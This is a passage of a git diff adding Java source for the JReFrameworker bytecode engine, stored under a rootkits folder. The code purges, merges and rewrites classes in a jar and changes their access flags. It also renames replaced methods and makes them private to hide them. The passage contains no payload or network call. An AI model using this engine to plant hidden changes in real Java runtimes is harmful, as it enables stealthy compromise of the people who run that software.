Bytecode(bytecode)); + } + +// public void addUnprocessed(byte[] inputClass) throws IOException { +// ClassNode classNode = BytecodeUtils.getClassNode(inputClass); +// updateBytecode(classNode.name, inputClass); +// } + + public void addFile(String entry, byte[] contents, boolean overwrite) throws IOException { + jarModifier.add(entry, contents, overwrite); + } + + public void addUnprocessed(byte[] inputClass, boolean overwrite) throws IOException { + ClassNode classNode = BytecodeUtils.getClassNode(inputClass); + String qualifiedClassName = classNode.name + ".class"; + jarModifier.add(qualifiedClassName, inputClass, overwrite); + } + + /** + * Process the annotations of the class for the given phase + * @param inputClass + * @param namedPhase + * @return + * @throws IOException + */ + public boolean process(ClassNode inputClassNode, int phase) throws IOException { + byte[] inputClass = BytecodeUtils.writeClass(inputClassNode); + return process(inputClass, phase); + } + + /** + * Process the annotations of the class for the given phase + * @param inputClass + * @param namedPhase + * @return + * @throws IOException + */ + public boolean process(byte[] inputClass, int phase) throws IOException { + // set the ASM class loaders to be used to process this input + ClassLoaders.setClassLoaders(classLoaders); + + boolean processed = false; + ClassNode classNode = BytecodeUtils.getClassNode(inputClass); + + if(phase == -1){ + Log.info("Processing input class: " + classNode.name + "..."); + } else { + Log.info("Processing phase " + phase + " of input class: " + classNode.name + "..."); + } + + // make requested method and field purges + PurgeIdentifier purgeIdentifier = new PurgeIdentifier(classNode); + processed |= purge(purgeIdentifier, phase); + + // set finality + DefineFinalityIdentifier defineFinalityIdentifier = new DefineFinalityIdentifier(classNode); + processed |= setFinality(defineFinalityIdentifier, phase); + + // set visibility modifiers + DefineVisibilityIdentifier defineVisibilityIdentifier = new DefineVisibilityIdentifier(classNode); + processed |= setVisibility(defineVisibilityIdentifier, phase); + + // TODO: address innerclasses, classNode.innerClasses, could these even be found from class files? they would be different files... + if(classNode.invisibleAnnotations != null){ + for(Object annotationObject : classNode.invisibleAnnotations){ + AnnotationNode annotationNode = (AnnotationNode) annotationObject; + JREFAnnotationIdentifier checker = new JREFAnnotationIdentifier(); + checker.visitAnnotation(annotationNode.desc, false); + String qualifiedClassName = classNode.name; + if(checker.isDefineTypeAnnotation()){ + DefineIdentifier defineIdentifier = new DefineIdentifier(classNode); + if(phase == -1 || defineIdentifier.getDefineTypeAnnotation().getPhase() == phase){ + String qualifiedClassFilename = qualifiedClassName + ".class"; + if(jarModifier.getJarEntrySet().contains(qualifiedClassFilename)){ + updateBytecode(classNode.name, inputClass); + Log.info("Replaced: " + qualifiedClassName + " in " + jarModifier.getJarFile().getName()); + } else { + updateBytecode(classNode.name, inputClass); + Log.info("Inserted: " + qualifiedClassName + " into " + jarModifier.getJarFile().getName()); + } + processed = true; + } + } else if(checker.isMergeTypeAnnotation()){ + MergeIdentifier mergeIdentifier = new MergeIdentifier(classNode); + MergeTypeAnnotation mergeTypeAnnotation = mergeIdentifier.getMergeTypeAnnotation(); + if(phase == -1 || mergeTypeAnnotation.getPhase() == phase){ + String qualifiedParentClassName = mergeTypeAnnotation.getSupertype(); + byte[] baseClass = getRawBytecode(qualifiedParentClassName); + byte[] mergedClass = mergeClasses(baseClass, inputClass); + updateBytecode(qualifiedParentClassName, mergedClass); + Log.info("Merged: " + qualifiedClassName + " into " + qualifiedParentClassName + " in " + jarModifier.getJarFile().getName()); + processed = true; + } + } + } + } + + return processed; + } + + /** + * Process all annotations regardless of phase + * @param inputClass + * @return + * @throws IOException + */ + public boolean process(byte[] inputClass) throws IOException { + return process(inputClass, -1); + } + + private boolean purge(PurgeIdentifier purgeIdentifier, int phase) throws IOException { + boolean processed = false; + // purge types + for(PurgeTypeAnnotation purgeTypeAnnotation : purgeIdentifier.getPurgeTypeAnnotations()){ + if(phase == -1 || purgeTypeAnnotation.getPhase() == phase){ + String className = purgeTypeAnnotation.getClassName(); + if(className.contains("$")){ + // deal with outer class references to inner class files first + String baseClassName = className.substring(0, className.lastIndexOf("$")); + ClassNode baseClassNode = getBytecode(baseClassName); + List innerClassNodesToRemove = new LinkedList(); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ + innerClassNodesToRemove.add(innerClassNode); + } + } + for(InnerClassNode innerClassNodeToRemove : innerClassNodesToRemove){ + baseClassNode.innerClasses.remove(innerClassNodeToRemove); + Log.info("Purged " + baseClassName + " reference to " + innerClassNodeToRemove.name + " inner class."); + } + updateBytecode(baseClassName, BytecodeUtils.writeClass(baseClassNode)); + + // deal with the inner class file directly + String innerClassName = className; + purgeBytecode(innerClassName); + Log.info("Purged " + innerClassName + " inner class."); + processed = true; + } else { + // simple case no inner classes + ClassNode baseClassNode = getBytecode(className); + if(baseClassNode != null){ + Log.info("Purged " + baseClassNode.name + " class."); + purgeBytecode(className); + processed = true; + } else { + Log.warning("Could not locate base class.", new RuntimeException("Missing base class")); + } + } + } + } + // purge methods + for(PurgeMethodAnnotation purgeMethodAnnotation : purgeIdentifier.getPurgeMethodAnnotations()){ + if(phase == -1 || purgeMethodAnnotation.getPhase() == phase){ + // final is not a valid modifier for initializers so no need to consider that case + String className = purgeMethodAnnotation.getClassName(); + ClassNode classNode = getBytecode(className); + for (Object o : classNode.methods) { + MethodNode methodNode = (MethodNode) o; + if(methodNode.name.equals(purgeMethodAnnotation.getMethodName())){ + ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + PurgeAdapter purgeAdapter = new PurgeAdapter(classWriter, methodNode); + ClassReader purgedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(classNode)); + purgedBaseClassReader.accept(purgeAdapter, ClassReader.EXPAND_FRAMES); + byte[] purgedClassBytes = classWriter.toByteArray(); + classNode = BytecodeUtils.getClassNode(purgedClassBytes); + updateBytecode(classNode.name, purgedClassBytes); + processed = true; + + updateBytecode(className, classNode); + processed = true; + + Log.info("Purged " + classNode.name + "." + methodNode.name + " method."); + processed = true; + } + } + } + } + // purge fields + for(PurgeFieldAnnotation purgeFieldAnnotation : purgeIdentifier.getPurgeFieldAnnotations()){ + if(phase == -1 || purgeFieldAnnotation.getPhase() == phase){ + String className = purgeFieldAnnotation.getClassName(); + ClassNode classNode = getBytecode(className); + for (Object o : classNode.fields) { + FieldNode fieldNode = (FieldNode) o; + if(fieldNode.name.equals(purgeFieldAnnotation.getFieldName())){ + ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + PurgeAdapter purgeAdapter = new PurgeAdapter(classWriter, fieldNode); + ClassReader purgedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(classNode)); + purgedBaseClassReader.accept(purgeAdapter, ClassReader.EXPAND_FRAMES); + byte[] purgedClassBytes = classWriter.toByteArray(); + classNode = BytecodeUtils.getClassNode(purgedClassBytes); + updateBytecode(classNode.name, purgedClassBytes); + processed = true; + + updateBytecode(className, classNode); + processed = true; + + Log.info("Purged " + classNode.name + "." + fieldNode.name + " field."); + break; // should only be one match + } + } + } + } + return processed; + } + + @SuppressWarnings("unused") + private static String getAccessModifiers(int access){ + LinkedList modifiers = new LinkedList(); + if((Opcodes.ACC_ABSTRACT & access) == Opcodes.ACC_ABSTRACT){ + modifiers.add("abstract"); + } + if((Opcodes.ACC_ANNOTATION & access) == Opcodes.ACC_ANNOTATION){ + modifiers.add("annotation"); + } + if((Opcodes.ACC_BRIDGE & access) == Opcodes.ACC_BRIDGE){ + modifiers.add("bridge"); + } + if((Opcodes.ACC_DEPRECATED & access) == Opcodes.ACC_DEPRECATED){ + modifiers.add("deprecated"); + } + if((Opcodes.ACC_ENUM & access) == Opcodes.ACC_ENUM){ + modifiers.add("enum"); + } + if((Opcodes.ACC_FINAL & access) == Opcodes.ACC_FINAL){ + modifiers.add("final"); + } + if((Opcodes.ACC_INTERFACE & access) == Opcodes.ACC_INTERFACE){ + modifiers.add("interface"); + } + if((Opcodes.ACC_MANDATED & access) == Opcodes.ACC_MANDATED){ + modifiers.add("mandated"); + } + if((Opcodes.ACC_NATIVE & access) == Opcodes.ACC_NATIVE){ + modifiers.add("native"); + } + if((Opcodes.ACC_PRIVATE & access) == Opcodes.ACC_PRIVATE){ + modifiers.add("private"); + } + if((Opcodes.ACC_PROTECTED & access) == Opcodes.ACC_PROTECTED){ + modifiers.add("protected"); + } + if((Opcodes.ACC_PUBLIC & access) == Opcodes.ACC_PUBLIC){ + modifiers.add("public"); + } + if((Opcodes.ACC_STATIC & access) == Opcodes.ACC_STATIC){ + modifiers.add("static"); + } + if((Opcodes.ACC_STRICT & access) == Opcodes.ACC_STRICT){ + modifiers.add("strict"); + } + if((Opcodes.ACC_SUPER & access) == Opcodes.ACC_SUPER){ + modifiers.add("super"); + } + if((Opcodes.ACC_SYNCHRONIZED & access) == Opcodes.ACC_SYNCHRONIZED){ + modifiers.add("synchronized"); + } + if((Opcodes.ACC_SYNTHETIC & access) == Opcodes.ACC_SYNTHETIC){ + modifiers.add("synthetic"); + } + if((Opcodes.ACC_TRANSIENT & access) == Opcodes.ACC_TRANSIENT){ + modifiers.add("transient"); + } + if((Opcodes.ACC_VARARGS & access) == Opcodes.ACC_VARARGS){ + modifiers.add("varargs"); + } + if((Opcodes.ACC_VOLATILE & access) == Opcodes.ACC_VOLATILE){ + modifiers.add("volatile"); + } + return modifiers.toString(); + } + + /** + * Sets the access (visibility) modifiers for types, methods, and fields as defined by the annotation system + * @param defineVisibilityIdentifier + * @param phase + * @param runtimeModifications + * @throws IOException + */ + private boolean setVisibility(DefineVisibilityIdentifier defineVisibilityIdentifier, int phase) throws IOException { + boolean processed = false; + // update types + for(DefineTypeVisibilityAnnotation defineTypeVisibilityAnnotation : defineVisibilityIdentifier.getTargetTypes()){ + if(phase == -1 || defineTypeVisibilityAnnotation.getPhase() == phase){ + String className = defineTypeVisibilityAnnotation.getClassName(); + if(className.contains("$")){ + // deal with outer class references to inner class files first + String baseClassName = className.substring(0, className.lastIndexOf("$")); + ClassNode baseClassNode = getBytecode(baseClassName); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set outer class attributes for " + innerClassNode.name + " class to be public."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set outer class attributes for " + innerClassNode.name + " class to be protected."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set outer class attributes for " + innerClassNode.name + " class to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + } + } + updateBytecode(baseClassName, baseClassNode); + + // deal with the inner class file directly + String innerClassName = className; + baseClassNode = getBytecode(innerClassName); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + innerClassNode.name + " inner class to be public."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + innerClassNode.name + " inner class to be protected."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + innerClassNode.name + " inner class to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + } + } + updateBytecode(innerClassName, baseClassNode); + } else { + // simple case no inner classes + ClassNode baseClassNode = getBytecode(className); +// Log.info("Pre Access Modifiers: " + getAccessModifiers(baseClassNode.access)); + baseClassNode.access = baseClassNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + baseClassNode.access = baseClassNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + baseClassNode.name + " class to be public."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + baseClassNode.access = baseClassNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + baseClassNode.name + " class to be protected."); + } else if(defineTypeVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + baseClassNode.access = baseClassNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + baseClassNode.name + " class to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(baseClassNode.access)); + updateBytecode(className, baseClassNode); + } + + processed = true; + } + } + // update methods + for(DefineMethodVisibilityAnnotation defineMethodVisibilityAnnotation : defineVisibilityIdentifier.getTargetMethods()){ + if(phase == -1 || defineMethodVisibilityAnnotation.getPhase() == phase){ + String qualifiedClassName = defineMethodVisibilityAnnotation.getClassName(); + String[] simpleClassNameParts = qualifiedClassName.split("/"); + ClassNode baseClassNode = getBytecode(qualifiedClassName); + String simpleClassName = simpleClassNameParts[simpleClassNameParts.length-1]; + if(simpleClassName.contains("$")){ + simpleClassName = simpleClassName.substring(simpleClassName.indexOf("$")+1,simpleClassName.length()); + } + for (Object o : baseClassNode.methods) { + MethodNode methodNode = (MethodNode) o; + if(defineMethodVisibilityAnnotation.getMethodName().equals(simpleClassName)){ + if(methodNode.name.equals("")){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access)); + methodNode.access = methodNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + methodNode.access = methodNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + methodNode.name + " initializer to be public."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + methodNode.access = methodNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + methodNode.name + " initializer to be protected."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + methodNode.access = methodNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + methodNode.name + " initializer to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access)); + } else if(methodNode.name.equals("")){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access)); + methodNode.access = methodNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + methodNode.access = methodNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + methodNode.name + " static initializer to be public."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + methodNode.access = methodNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + methodNode.name + " static initializer to be protected."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + methodNode.access = methodNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + methodNode.name + " static initializer to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access)); + } + updateBytecode(qualifiedClassName, baseClassNode); + processed = true; + } else if(methodNode.name.equals(defineMethodVisibilityAnnotation.getMethodName())){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access)); + methodNode.access = methodNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + methodNode.access = methodNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + methodNode.name + " method to be public."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + methodNode.access = methodNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + methodNode.name + " method to be protected."); + } else if(defineMethodVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + methodNode.access = methodNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + methodNode.name + " method to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access)); + updateBytecode(qualifiedClassName, baseClassNode); + processed = true; +// break; // should only be one match? + // TODO: is above true? need to do better signature matching I assume? for now just blast em all... + } + } + } + } + // update fields + for(DefineFieldVisibilityAnnotation defineFieldVisibilityAnnotation : defineVisibilityIdentifier.getTargetFields()){ + if(phase == -1 || defineFieldVisibilityAnnotation.getPhase() == phase){ + String className = defineFieldVisibilityAnnotation.getClassName(); + ClassNode baseClassNode = getBytecode(className); + for (Object o : baseClassNode.fields) { + FieldNode fieldNode = (FieldNode) o; + if(fieldNode.name.equals(defineFieldVisibilityAnnotation.getFieldName())){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(fieldNode.access)); + fieldNode.access = fieldNode.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + if(defineFieldVisibilityAnnotation.getVisibility() == Visibility.PUBLIC){ + fieldNode.access = fieldNode.access | Opcodes.ACC_PUBLIC; + Log.info("Set " + fieldNode.name + " field to be public."); + } else if(defineFieldVisibilityAnnotation.getVisibility() == Visibility.PROTECTED){ + fieldNode.access = fieldNode.access | Opcodes.ACC_PROTECTED; + Log.info("Set " + fieldNode.name + " field to be protected."); + } else if(defineFieldVisibilityAnnotation.getVisibility() == Visibility.PRIVATE){ + fieldNode.access = fieldNode.access | Opcodes.ACC_PRIVATE; + Log.info("Set " + fieldNode.name + " field to be private."); + } else { + // should never happen + throw new RuntimeException("Missing visibility modifier"); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(fieldNode.access)); + updateBytecode(className, baseClassNode); + processed = true; + break; // should only be one match + } + } + } + } + return processed; + } + + /** + * Sets the finality bit for for types, methods, and fields as defined by the annotation system + * @param defineFinalityIdentifier + * @param phase + * @param runtimeModifications + * @throws IOException + */ + private boolean setFinality(DefineFinalityIdentifier defineFinalityIdentifier, int phase) throws IOException { + boolean processed = false; + // update types + for(DefineTypeFinalityAnnotation defineTypeFinalityAnnotation : defineFinalityIdentifier.getTargetTypes()){ + if(phase == -1 || defineTypeFinalityAnnotation.getPhase() == phase){ + String className = defineTypeFinalityAnnotation.getClassName(); + if(className.contains("$")){ + // deal with outer class references to inner class files first + String baseClassName = className.substring(0, className.lastIndexOf("$")); + ClassNode baseClassNode = getBytecode(baseClassName); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + if(defineTypeFinalityAnnotation.getFinality()){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + innerClassNode.name + " class to be final."); + } else { + innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + innerClassNode.name + " class to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + } + } + updateBytecode(baseClassName, baseClassNode); + + // deal with the inner class file directly + String innerClassName = className; + baseClassNode = getBytecode(innerClassName); + for(InnerClassNode innerClassNode : baseClassNode.innerClasses){ + if(innerClassNode.name.equals(className)){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + if(defineTypeFinalityAnnotation.getFinality()){ + innerClassNode.access = innerClassNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + innerClassNode.name + " class to be final."); + } else { + innerClassNode.access = innerClassNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + innerClassNode.name + " class to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(innerClassNode.access)); + } + } + updateBytecode(innerClassName, baseClassNode); + processed = true; + } else { + // simple case no inner classes + ClassNode baseClassNode = getBytecode(className); + if(baseClassNode != null){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(baseClassNode.access)); + if(defineTypeFinalityAnnotation.getFinality()){ + baseClassNode.access = baseClassNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + baseClassNode.name + " class to be final."); + } else { + baseClassNode.access = baseClassNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + baseClassNode.name + " class to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(baseClassNode.access)); + updateBytecode(className, baseClassNode); + processed = true; + } else { + Log.warning("Could not locate base class.", new RuntimeException("Missing base class")); + } + } + } + } + // update methods + for(DefineMethodFinalityAnnotation defineMethodFinalityAnnotation : defineFinalityIdentifier.getTargetMethods()){ + if(phase == -1 || defineMethodFinalityAnnotation.getPhase() == phase){ + // final is not a valid modifier for initializers so no need to consider that case + String className = defineMethodFinalityAnnotation.getClassName(); + ClassNode baseClassNode = getBytecode(className); + for (Object o : baseClassNode.methods) { + MethodNode methodNode = (MethodNode) o; + if(methodNode.name.equals(defineMethodFinalityAnnotation.getMethodName())){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(methodNode.access)); + if(defineMethodFinalityAnnotation.getFinality()){ + methodNode.access = methodNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + methodNode.name + " method to be final."); + } else { + methodNode.access = methodNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + methodNode.name + " method to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(methodNode.access)); + updateBytecode(className, baseClassNode); + processed = true; + } + } + } + } + // update fields + for(DefineFieldFinalityAnnotation defineFieldFinalityAnnotation : defineFinalityIdentifier.getTargetFields()){ + if(phase == -1 || defineFieldFinalityAnnotation.getPhase() == phase){ + String className = defineFieldFinalityAnnotation.getClassName(); + ClassNode baseClassNode = getBytecode(className); + for (Object o : baseClassNode.fields) { + FieldNode fieldNode = (FieldNode) o; + if(fieldNode.name.equals(defineFieldFinalityAnnotation.getFieldName())){ +// Log.info("Pre Access Modifiers: " + getAccessModifiers(fieldNode.access)); + if(defineFieldFinalityAnnotation.getFinality()){ + fieldNode.access = fieldNode.access | Opcodes.ACC_FINAL; + Log.info("Set " + fieldNode.name + " field to be final."); + } else { + fieldNode.access = fieldNode.access & (~Opcodes.ACC_FINAL); + Log.info("Set " + fieldNode.name + " field to be non-final."); + } +// Log.info("Post Access Modifiers: " + getAccessModifiers(fieldNode.access)); + updateBytecode(className, baseClassNode); + processed = true; + break; // should only be one match + } + } + } + } + return processed; + } + + public void save(File outputFile) throws IOException { + for(String entry : purgedEntries){ + jarModifier.remove(entry + ".class"); + } + for(Entry entry : bytecodeCache.entrySet()){ + jarModifier.add(entry.getKey() + ".class", entry.getValue().getBytecode(), true); + } + jarModifier.save(outputFile); + } + + private byte[] mergeClasses(byte[] baseClass, byte[] classToMerge) throws IOException { + // read the classes into ClassNode objects + ClassNode baseClassNode = BytecodeUtils.getClassNode(baseClass); + ClassNode classToMergeClassNode = BytecodeUtils.getClassNode(classToMerge); + + // get a list of base methods conflicting with methods to merge + BaseMethodsIdentifier baseMethodsIdentifier = new BaseMethodsIdentifier(baseClassNode); + LinkedList baseMethods = baseMethodsIdentifier.getBaseMethods(); + + // identify methods to insert or replace + DefineIdentifier defineMethodsIdentifier = new DefineIdentifier(classToMergeClassNode); + LinkedList methodsToDefine = defineMethodsIdentifier.getDefineMethodAnnotations(); + + // identify methods to merge + MergeIdentifier mergeIdentifier = new MergeIdentifier(classToMergeClassNode); + LinkedList methodToMergeAnnotations = mergeIdentifier.getMergeMethodAnnotations(); + + // rename base methods that should be preserved + LinkedList renamedMethods = new LinkedList(); + for(MergeMethodAnnotation methodToMergeAnnotation : methodToMergeAnnotations){ + MethodNode methodToMerge = methodToMergeAnnotation.getMethodNode(); + boolean foundTargetMethod = false; + for(MethodNode baseMethod : baseMethods){ + if(methodToMerge.signature != null && baseMethod.signature != null){ + if(methodToMerge.signature.equals(baseMethod.signature)){ + if(methodToMerge.name.equals(baseMethod.name) && methodToMerge.desc.equals(baseMethod.desc)){ + renamedMethods.add(baseClassNode.name + "." + renameMethod(baseMethod)); + foundTargetMethod = true; + continue; + } + } + } else { + // signature was null, fall back to name and description only + if(methodToMerge.name.equals(baseMethod.name) && methodToMerge.desc.equals(baseMethod.desc)){ + renamedMethods.add(baseClassNode.name + "." + renameMethod(baseMethod)); + foundTargetMethod = true; + continue; + } + } + } + if(!foundTargetMethod){ + Log.warning("Target method " + methodToMerge.desc.toString() + " does not exist! Runtime behavior may not be correct."); + } + } + + // purge defined methods that were already there + // adapt a ClassWriter with the PurgeAdapter + ClassWriter classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + Set methodsToPurge = new HashSet(); + for(DefineMethodAnnotation methodToDefine : methodsToDefine){ + methodsToPurge.add(methodToDefine.getMethodNode()); + } + Set fieldsToPurge = new HashSet(); + PurgeAdapter purgeAdapter = new PurgeAdapter(classWriter, methodsToPurge, fieldsToPurge); + ClassReader purgedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(baseClassNode)); + purgedBaseClassReader.accept(purgeAdapter, ClassReader.EXPAND_FRAMES); + baseClassNode = BytecodeUtils.getClassNode(classWriter.toByteArray()); + + // merge the classes + // adapt a ClassWriter with the MergeAdapter + // modifiedBaseClass, classToMerge -> MergeAdapter -> ClassWriter + classWriter = new ClassLoadingClassWriter(ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES); + MergeAdapter mergeAdapter = new MergeAdapter(classWriter, classToMergeClassNode, mergeRenamePrefix, renamedMethods); + ClassReader modifiedBaseClassReader = new ClassReader(BytecodeUtils.writeClass(baseClassNode)); + modifiedBaseClassReader.accept(mergeAdapter, ClassReader.EXPAND_FRAMES); + return classWriter.toByteArray(); + } + + private String renameMethod(MethodNode methodToRename) { + // first remove any annotations from renamed base methods + AnnotationUtils.clearMethodAnnotations(methodToRename); + + // rename the method + String originalMethodName = methodToRename.name; + String renamedMethodName = mergeRenamePrefix + methodToRename.name; + methodToRename.name = renamedMethodName; + + // make the method private to hide it from the end user + methodToRename.access = methodToRename.access & (~Opcodes.ACC_PUBLIC & ~Opcodes.ACC_PROTECTED & ~Opcodes.ACC_PRIVATE); + methodToRename.access = methodToRename.access | Opcodes.ACC_PRIVATE; + + Log.info("Renamed " + originalMethodName + " to " + renamedMethodName); + + return originalMethodName; // return the original name + } + +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/MergeAdapter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/MergeAdapter.java new file mode 100644 index 0000000..c1e253c --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.jreframeworker.engine.core/src/com/jreframeworker/engine/MergeAdapter.java @@ -0,0 +1,233 @@ +package com.jreframeworker.engine; + +import java.util.Iterator; +import java.util.LinkedList; + +import org.objectweb.asm.ClassVisitor; +import org.objectweb.asm.MethodVisitor; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.commons.RemappingMethodAdapter; +import org.objectweb.asm.commons.SimpleRemapper; +import org.objectweb.asm.tree.AbstractInsnNode; +import org.objectweb.asm.tree.AnnotationNode; +import org.objectweb.asm.tree.ClassNode; +import org.objectweb.asm.tree.FieldInsnNode; +import org.objectweb.asm.tree.FieldNode; +import org.objectweb.asm.tree.FrameNode; +import org.objectweb.asm.tree.IincInsnNode; +import org.objectweb.asm.tree.InsnList; +import org.objectweb.asm.tree.InsnNode; +import org.objectweb.asm.tree.IntInsnNode; +import org.objectweb.asm.tree.InvokeDynamicInsnNode; +import org.objectweb.asm.tree.JumpInsnNode; +import org.objectweb.asm.tree.LabelNode; +import org.objectweb.asm.tree.LdcInsnNode; +import org.objectweb.asm.tree.LineNumberNode; +import org.objectweb.asm.tree.LookupSwitchInsnNode; +import org.objectweb.asm.tree.MethodInsnNode; +import org.objectweb.asm.tree.MethodNode; +import org.objectweb.asm.tree.MultiANewArrayInsnNode; +import org.objectweb.asm.tree.TableSwitchInsnNode; +import org.objectweb.asm.tree.TypeInsnNode; +import org.objectweb.asm.tree.VarInsnNode; + +import com.jreframeworker.engine.identifiers.JREFAnnotationIdentifier; +import com.jreframeworker.engine.log.Log; +import com.jreframeworker.engine.utils.AnnotationUtils; + +/** + * This class is responsible for merging two class files based on + * the merging strategies in the JReFrameworker framework. + * + * References: http://www.jroller.com/eu/entry/merging_class_methods_with_asm + * + * @author Ben Holland + */ +@SuppressWarnings("deprecation") +public class MergeAdapter extends ClassVisitor { + private ClassNode classToMerge; + private String baseClassName; + private String mergeRenamePrefix; + private LinkedList qualifiedRenamedMethods; + + public MergeAdapter(ClassVisitor 